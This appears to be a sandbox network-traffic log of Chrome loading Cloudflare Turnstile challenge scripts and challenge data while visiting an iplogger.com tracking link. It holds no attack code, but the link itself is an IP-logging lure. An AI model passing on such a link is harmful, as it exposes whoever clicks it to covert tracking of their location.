2025-01-11 08:26:04 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 68 7d 2c 27 6a 4e 48 6a 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 69 55 28 31 30 34 37 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 68 3d 3d 6e 75 6c 6c 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 69 56 29 7b 72 65 74 75 72 6e 20 69 56 3d 62 2c 69 56 28 38 30 32 29 3d 3d 3d 64 5b 69 56 28 31 32 38 38 29 5d 3f 76 6f 69 64 20 30 3a 64 5b 69 56 28 36 35 35 29 5d 5b 69 56 28 31 31 32 35 29 5d 28 69 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 69 57 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 29 7b 69 66 28 69 57 3d Data Ascii: ){return i===h},'jNHjj':function(h,i){return h+i}},e=String[iU(1047)],f={'h':function(h){return h==null?'':f.g(h,6,function(i,iV){return iV=b,iV(802)===d[iV(1288)]?void 0:d[iV(655)][iV(1125)](i)})},'g':function(i,j,o,iW,s,x,B,C,D,E,F,G,H,I,J,K,L,M){if(iW=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49728	104.18.95.41	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:05 UTC	580	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js?onload=JgQlg5&render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://iplogger.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:05 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:05 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 900385190bfd7c81-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 75 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function jt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0)
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 75 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 75 3d 63 2e 72 65 74 75 72 6e 29 26 26 75 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 75 3d 75 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 75 3b 73 77 69 74 63 68 28 63 3d 30 2c 75 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 75 2e 76 61 6c Data Ascii: ])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.val
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 49 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var Ie;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 4f 4d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 57 65 7c 7c 28 57 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 64 61 72 6b 22 2c 22 6c 69 67 68 74 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3e 30 26 26 65 3c 39 65 35 7d 66 75 6e 63 74 69 6f 6e 20 75 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3e 30 26 26 65 3c 33 36 65 34 7d 76 61 72 20 49 72 3d 2f 5e 5b 30 2d 39 41 2d 5a 61 2d 7a 5f 2d 5d 7b 33 2c Data Ascii: OM="custom"})(We\|\|(We={}));function M(e,r){return e.indexOf(r)!==-1}function it(e){return M(["auto","dark","light"],e)}function ot(e){return M(["auto","never"],e)}function ct(e){return e>0&&e<9e5}function ut(e){return e>0&&e<36e4}var Ir=/^[0-9A-Za-z_-]{3,
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 2c 65 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 68 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 5f 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 67 2d 72 65 63 61 70 74 63 68 61 2d 72 65 73 70 6f 6e 73 65 22 2c 74 72 3d 38 65 33 2c 45 74 3d 22 70 72 69 76 61 74 65 2d 74 6f 6b 65 6e 22 2c 72 72 3d 33 2c 6e 72 3d 35 30 30 2c 61 72 3d 35 30 30 2c 59 3d 22 22 3b 76 61 72 20 4e 72 3d 5b 22 62 67 2d 62 67 22 2c 22 64 61 2d 64 6b 22 2c 22 64 65 2d 64 65 22 2c 22 65 6c 2d 67 72 22 2c 22 6a 61 2d 6a 70 22 2c 22 6d 73 2d 6d 79 22 2c 22 72 75 2d 72 75 22 2c 22 73 6b 2d 73 6b 22 2c 22 73 6c 2d 73 69 22 2c 22 73 72 2d 62 61 22 2c 22 74 6c 2d 70 68 22 2c 22 75 6b 2d 75 61 22 5d 2c 6b Data Ascii: ,er=".g-recaptcha",ht="cf_challenge_response",_t="cf-turnstile-response",bt="g-recaptcha-response",tr=8e3,Et="private-token",rr=3,nr=500,ar=500,Y="";var Nr=["bg-bg","da-dk","de-de","el-gr","ja-jp","ms-my","ru-ru","sk-sk","sl-si","sr-ba","tl-ph","uk-ua"],k
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 6e 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 26 6f 3f 22 35 30 30 70 78 22 3a 6e 3f 22 34 38 30 70 78 22 3a 72 3f 22 36 35 30 70 78 22 3a 6f 3f 22 35 39 30 70 78 22 3a 22 35 37 30 70 78 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 42 65 28 65 29 7b 69 66 28 65 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 65 7d Data Ascii: boseLanguage,n=e.isSmallerFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&&o?"500px":n?"480px":r?"650px":o?"590px":"570px"};function Be(e){if(e===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 30 3b 72 65 74 75 72 6e 20 71 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 63 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 74 79 70 65 6f 66 20 72 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 69 66 28 72 2e 68 61 73 28 6f 29 29 72 65 74 75 72 6e 20 72 2e 67 65 74 28 6f 29 3b 72 2e 73 65 74 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 53 65 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 63 65 28 74 Data Ascii: 0;return qe=function(o){if(o===null\|\|!cr(o))return o;if(typeof o!="function")throw new TypeError("Super expression must either be null or a function");if(typeof r!="undefined"){if(r.has(o))return r.get(o);r.set(o,c)}function c(){return Se(o,arguments,ce(t
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d 65 2e 73 72 63 2c 6e 3d 7b 6c 6f 61 64 65 64 41 73 79 6e 63 3a 21 31 2c 70 61 72 61 6d 73 3a 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 2c 73 72 63 3a 72 7d 3b 28 65 2e 61 73 79 6e 63 7c 7c 65 2e 64 65 66 65 72 29 26 26 28 6e 2e 6c 6f 61 64 65 64 41 73 79 6e 63 3d 21 30 29 3b 76 61 72 20 6f 3d 72 2e 73 70 6c 69 74 28 22 3f 22 29 3b 72 65 74 75 72 6e 20 6f 2e 6c 65 6e 67 74 68 3e 31 26 26 28 6e 2e 70 61 72 61 6d 73 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6f 5b 31 5d 29 29 Data Ascii: uld not find Turnstile script tag, some features may not be available",43777);var r=e.src,n={loadedAsync:!1,params:new URLSearchParams,src:r};(e.async\|\|e.defer)&&(n.loadedAsync=!0);var o=r.split("?");return o.length>1&&(n.params=new URLSearchParams(o[1]))
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 68 69 64 64 65 6e 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 3d 22 30 70 78 20 61 75 74 6f 22 3b 76 61 72 20 53 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 53 2e 69 64 3d 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2d 66 72 22 29 2c 53 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 68 29 2c 53 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 6c 6c 6f 77 22 Data Ascii: yle.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.style.top="0px",E.style.overflow="hidden",E.style.margin="0px auto";var S=document.createElement("iframe");S.id="".concat(e,"-fr"),S.setAttribute("src",h),S.setAttribute("allow"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49727	172.67.188.178	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:05 UTC	1301	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/261494574:1736583169:ezHic82teOCOynZTEESUXiZuFMVkK80anmx6aY9hydg/9003850dd90e7d1a/9eCHoPFn8y7VuJ6TcVa0XOF_dnQeTW_Dibh1o.sWHM0-1736583963-1.2.1.1-L2LsngXWnR9Mni6QlWnN_T2l1wPomJWa5aIma9o76zaosyPo.m2foyAIQER.Oqxi HTTP/1.1 Host: iplogger.com Connection: keep-alive Content-Length: 4147 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-type: application/x-www-form-urlencoded sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" CF-Chl-RetryAttempt: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" CF-Challenge: 9eCHoPFn8y7VuJ6TcVa0XOF_dnQeTW_Dibh1o.sWHM0-1736583963-1.2.1.1-L2LsngXWnR9Mni6QlWnN_T2l1wPomJWa5aIma9o76zaosyPo.m2foyAIQER.Oqxi sec-ch-ua-platform: "Windows" Accept: / Origin: https://iplogger.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://iplogger.com/15PRC4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:05 UTC	4147	OUT	Data Raw: 76 5f 39 30 30 33 38 35 30 64 64 39 30 65 37 64 31 61 3d 56 44 57 52 78 52 54 52 36 52 64 52 7a 65 38 4f 65 38 24 53 51 74 6c 38 53 52 59 79 38 42 78 38 59 62 38 71 38 42 7a 57 35 4b 62 70 74 4d 38 62 38 43 73 6c 57 65 51 38 49 71 38 74 62 33 6b 59 63 51 38 71 70 38 72 38 61 4d 68 59 38 57 52 38 75 38 46 52 42 6a 6f 48 6f 6f 6b 74 4a 30 38 42 79 54 24 6f 77 70 59 39 6e 38 37 30 2d 59 38 44 48 70 74 66 38 47 49 4d 42 62 78 67 2d 32 45 24 41 55 24 76 64 41 48 4e 38 58 36 52 4d 70 38 43 57 38 25 32 62 32 6b 38 48 72 33 57 78 32 70 38 4e 4d 38 38 4d 52 61 73 54 31 48 42 30 43 70 6e 45 2d 33 4a 55 78 67 4a 78 43 71 79 53 52 61 6f 38 38 39 33 57 35 6b 30 32 54 68 4b 24 6f 79 4b 6a 52 74 48 42 35 59 38 70 52 74 2d 24 38 38 41 50 70 61 68 2d 4d 70 38 4f 30 36 65 Data Ascii: v_9003850dd90e7d1a=VDWRxRTR6RdRze8Oe8$SQtl8SRYy8Bx8Yb8q8BzW5KbptM8b8CslWeQ8Iq8tb3kYcQ8qp8r8aMhY8WR8u8FRBjoHooktJ08ByT$owpY9n870-Y8DHptf8GIMBbxg-2E$AU$vdAHN8X6RMp8CW8%2b2k8Hr3Wx2p8NM88MRasT1HB0CpnE-3JUxgJxCqySRao8893W5k02ThK$oyKjRtHB5Y8pRt-$88APpah-Mp8O06e
2025-01-11 08:26:05 UTC	843	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:05 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15968 Connection: close cf-chl-gen: perQX4fTGDPcynh13hL24xbctquaAO/WdWpZkMsKP2Y=$QRPcedj3OJrRM3uf2236iQ== Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CPpp8PnwrOgiRgOO4wwVfNxUVX1y1%2FR9GQNcKLgHg2DG0qb93rYiTZZZiEu6%2BjUt8KT%2BMBRFs83hJKHnZj7uY8pAB0D505GKxRApsnSuj7%2B0X2%2BemTfHUqF2GstuHiw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900385197fcdc3ff-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3254&min_rtt=1523&rtt_var=3770&sent=5&recv=11&lost=0&retrans=0&sent_bytes=2804&recv_bytes=6072&delivery_rate=1917268&cwnd=247&unsent_bytes=0&cid=f603b2bfbf4b0e87&ts=220&x=0"
2025-01-11 08:26:05 UTC	526	IN	Data Raw: 53 32 47 51 63 58 4b 45 56 5a 4a 70 69 6d 4b 51 61 35 74 5a 69 4a 42 32 63 4a 71 54 68 58 43 65 6c 34 69 68 5a 4b 53 4d 6f 6f 6d 68 71 58 32 42 6b 61 53 74 68 70 65 72 64 72 71 54 72 48 71 56 65 5a 32 77 6c 70 70 39 77 61 65 6c 78 34 61 35 6c 71 36 33 75 72 7a 4b 6f 4b 50 4f 30 61 43 74 7a 37 48 4a 73 36 6e 4b 6e 62 57 7a 33 74 2b 64 6d 70 76 59 76 72 50 5a 73 38 65 6b 35 4f 66 73 72 39 33 6a 7a 50 47 78 39 38 33 59 7a 65 6d 74 2b 2b 62 32 75 4c 76 42 31 4d 48 43 2f 67 50 42 42 73 63 41 34 67 34 4a 77 4d 6f 51 2b 67 6a 71 45 65 6e 54 7a 64 44 73 7a 4d 33 58 37 64 33 39 41 65 7a 71 47 66 67 6d 38 68 2f 38 42 41 73 61 39 78 33 72 41 44 48 73 44 52 38 69 4c 53 51 50 38 54 45 72 4b 54 49 73 4b 78 73 4b 2f 52 77 62 2b 68 51 77 4d 53 51 69 51 52 35 41 53 30 34 Data Ascii: S2GQcXKEVZJpimKQa5tZiJB2cJqThXCel4ihZKSMoomhqX2BkaSthperdrqTrHqVeZ2wlpp9waelx4a5lq63urzKoKPO0aCtz7HJs6nKnbWz3t+dmpvYvrPZs8ek5Ofsr93jzPGx983Yzemt++b2uLvB1MHC/gPBBscA4g4JwMoQ+gjqEenTzdDszM3X7d39AezqGfgm8h/8BAsa9x3rADHsDR8iLSQP8TErKTIsKxsK/Rwb+hQwMSQiQR5AS04
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 7a 55 44 2f 4c 79 33 39 6f 65 2b 78 55 55 49 43 51 54 47 77 76 30 36 79 63 51 41 67 41 6b 37 54 51 4b 49 54 4d 58 43 51 4d 74 43 77 6b 37 2f 54 30 65 47 52 63 37 50 52 63 37 4a 54 45 70 41 30 63 2f 4c 7a 73 61 49 6a 46 44 52 56 45 49 56 6a 67 51 54 43 38 5a 50 52 63 37 47 7a 73 36 4c 6c 59 58 4f 78 35 58 4e 54 35 4c 56 54 59 36 5a 7a 78 74 58 6c 77 74 52 47 64 74 62 46 46 6e 4e 6e 6c 62 50 46 39 32 51 54 35 30 67 46 6d 44 52 6e 68 6c 63 6e 74 55 67 55 43 48 57 33 47 4c 66 47 61 4f 69 32 64 52 6d 4a 47 54 69 48 43 52 6c 5a 47 4f 65 6e 4e 76 56 35 6c 69 59 58 31 79 6e 33 57 4f 6d 6e 32 48 6a 57 71 41 62 4b 36 58 6f 36 65 30 6b 71 2b 36 6c 71 71 35 6e 35 36 65 66 33 32 66 6d 4d 66 42 74 4a 50 49 75 4a 65 72 79 36 69 4d 72 39 50 56 79 72 4f 57 79 71 48 4d 71 Data Ascii: zUD/Ly39oe+xUUICQTGwv06ycQAgAk7TQKITMXCQMtCwk7/T0eGRc7PRc7JTEpA0c/LzsaIjFDRVEIVjgQTC8ZPRc7Gzs6LlYXOx5XNT5LVTY6ZzxtXlwtRGdtbFFnNnlbPF92QT50gFmDRnhlcntUgUCHW3GLfGaOi2dRmJGTiHCRlZGOenNvV5liYX1yn3WOmn2HjWqAbK6Xo6e0kq+6lqq5n56ef32fmMfBtJPIuJery6iMr9PVyrOWyqHMq
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 77 44 79 50 62 39 50 51 54 48 41 45 74 4b 78 73 45 35 52 76 39 41 76 34 4b 42 53 50 30 4d 67 4d 61 43 78 6f 76 4f 7a 30 58 51 44 7a 31 46 52 73 43 51 30 6b 66 4e 79 77 36 4f 78 78 46 44 42 38 6b 45 69 42 4e 44 52 51 35 56 54 4a 54 54 69 63 63 4b 68 77 61 4d 46 59 77 49 68 35 43 57 44 35 73 57 43 6f 35 5a 79 34 71 54 58 52 49 56 45 39 44 64 32 64 47 61 55 5a 33 4e 6d 6d 42 62 32 30 2b 54 48 39 69 59 34 64 33 51 46 4e 57 68 34 39 4f 6b 58 2b 41 59 31 79 50 63 45 36 58 68 31 43 4a 5a 70 65 65 68 33 6c 61 57 6c 78 76 63 6e 36 6e 67 32 5a 6f 70 33 52 70 67 6f 47 4a 63 4b 5a 77 66 6f 4f 6e 72 62 43 4d 73 5a 47 6d 6d 71 36 61 6e 49 6d 58 66 62 36 76 77 33 2b 61 75 35 6e 43 70 71 57 6d 6f 61 2b 35 6a 35 2f 53 71 73 43 52 6f 63 47 73 6b 73 53 31 32 70 69 33 74 63 Data Ascii: wDyPb9PQTHAEtKxsE5Rv9Av4KBSP0MgMaCxovOz0XQDz1FRsCQ0kfNyw6OxxFDB8kEiBNDRQ5VTJTTiccKhwaMFYwIh5CWD5sWCo5Zy4qTXRIVE9Dd2dGaUZ3NmmBb20+TH9iY4d3QFNWh49OkX+AY1yPcE6Xh1CJZpeeh3laWlxvcn6ng2Zop3RpgoGJcKZwfoOnrbCMsZGmmq6anImXfb6vw3+au5nCpqWmoa+5j5/SqsCRocGsksS12pi3tc
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 34 78 59 56 43 68 76 32 49 69 51 7a 42 50 34 44 4e 78 62 31 42 44 41 4f 48 42 63 55 46 6a 50 39 50 6b 49 6a 4d 55 51 6e 49 52 63 49 50 55 46 44 52 79 49 43 44 67 39 4f 4a 7a 56 4f 56 52 4a 56 4f 54 64 58 4f 53 38 63 4f 56 31 61 4c 7a 49 6c 59 31 6c 6b 58 46 68 47 51 47 74 45 54 56 41 78 52 46 77 6d 59 57 35 6c 54 57 52 57 5a 6d 63 76 57 48 74 64 51 58 78 77 68 57 52 64 59 49 42 41 59 47 4a 69 58 49 78 49 5a 32 53 49 5a 32 31 6c 61 6c 56 54 61 6c 64 55 62 56 79 4f 6b 32 6d 41 64 58 4a 65 64 70 6c 2b 6f 34 53 59 68 61 78 72 65 61 43 76 61 36 70 39 69 4a 4b 41 71 4a 61 58 6c 62 61 37 69 35 6d 72 76 70 65 32 74 36 79 53 77 72 4e 2b 67 4a 2f 4c 78 61 4f 61 6d 73 53 6b 6f 64 43 39 73 63 4c 59 6b 59 75 31 71 4e 76 50 6e 70 75 34 6b 38 44 61 73 4c 71 78 33 4e 75 Data Ascii: 4xYVChv2IiQzBP4DNxb1BDAOHBcUFjP9PkIjMUQnIRcIPUFDRyICDg9OJzVOVRJVOTdXOS8cOV1aLzIlY1lkXFhGQGtETVAxRFwmYW5lTWRWZmcvWHtdQXxwhWRdYIBAYGJiXIxIZ2SIZ21lalVTaldUbVyOk2mAdXJedpl+o4SYhaxreaCva6p9iJKAqJaXlba7i5mrvpe2t6ySwrN+gJ/LxaOamsSkodC9scLYkYu1qNvPnpu4k8DasLqx3Nu
